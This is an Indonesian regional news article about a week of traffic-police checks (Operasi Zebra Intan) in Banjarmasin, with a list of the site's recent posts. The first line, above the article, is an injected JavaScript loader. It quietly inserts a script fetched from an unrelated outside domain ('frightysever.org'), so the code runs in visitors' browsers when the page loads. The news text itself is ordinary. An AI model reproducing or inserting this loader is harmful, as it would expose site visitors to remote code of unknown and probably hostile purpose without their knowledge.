(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sepekan Operasi Zebra Intan, Polresta Banjarmasin Tindak 2.400 Pelanggaran


BANJARMASIN, Sejak digelar sepekan lalu, Satlantas Polresta Banjarmasin secara intensif menggelar pemeriksaan kendaraan yang melintas di ruas jalan protokol di kota Banjarmasin. Dengan memeriksa kelengkapan surat-surat yang dimiliki oleh pengendara.

Hingga Rabu (30/10), sedikitnya 2.400 pelanggar lalu lintas ditindak oleh Satlantas Banjarmasin. Sebagian besar merupakan pengendara roda dua. Hal tersebut disampaikan oleh Kasatlantas Polresta Banjarmasin Kompol Wibowo, di sela giat Operasi Zebra Intan di jalan Jenderal Sudirman Banjarmasin, Rabu (30/10) sore.

“Total dari semuanya ada sekitar 2.400 pelanggaran. Dominasinya adalah roda dua ,” kata Kompol Wibowo, Rabu (30/10) sore.

Kompol Wibowo membeberkan, dari pelanggaran yang didominasi oleh pengendara roda dua, mayoritas berkaitan dengan kelengkapan surat-surat seperti SIM dan STNK. “Tidak membawa STNK, kemudian tidak membawa SIM. Kemudian kelengkapan kendaraan seperti tidak menggunakan spion dan lampu tidak menyala,” kata Kompol Wibowo.

Ketika ditanya apakah ada penindakan terhadap pengendara di bawah umur, Kompol Wibowo menyebut, sejauh ini jajarannya belum ada menindak pengendara di bawah umur. “Hampir semuanya tidak ada. Sebelum ada kegiatan ini kita melaksanakan sosialisasi di sekolah-sekolah. Mungkin ini bukan jam sekolah ya, mungkin kalau pagi sebelum jam 08.00 Wita,” jelasnya.

Selain itu, jajarannya juga belum menemui adanya pengendara roda dua yang kendaraannya tidak memenuhi standar. “Artinya, tidak ada yang, mohon maaf, misalnya knalpot pendek atau dimodifikasi untuk balapan. Sejauh ini kita tidak menemukan pelanggaran seperti itu,” tambahnya.

Sedangkan untuk pengendara roda empat, Kompol Wibowo menjelaskan, pelanggaran masih didominasi oleh kelengkapan surat maupun tidak memasang safety belt. “Tadi pagi di Jalan Simpang Ulin samping Duta Mall memungkinkan sekali untuk pelaksanaan kegiatan. Sehingga (pelanggaran) seperti tidak memasang safety belt, kemudian tidak membawa surat-surat terjaring semua,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

15 menit ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

1 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

2 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

15 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

16 jam ago

This website uses cookies.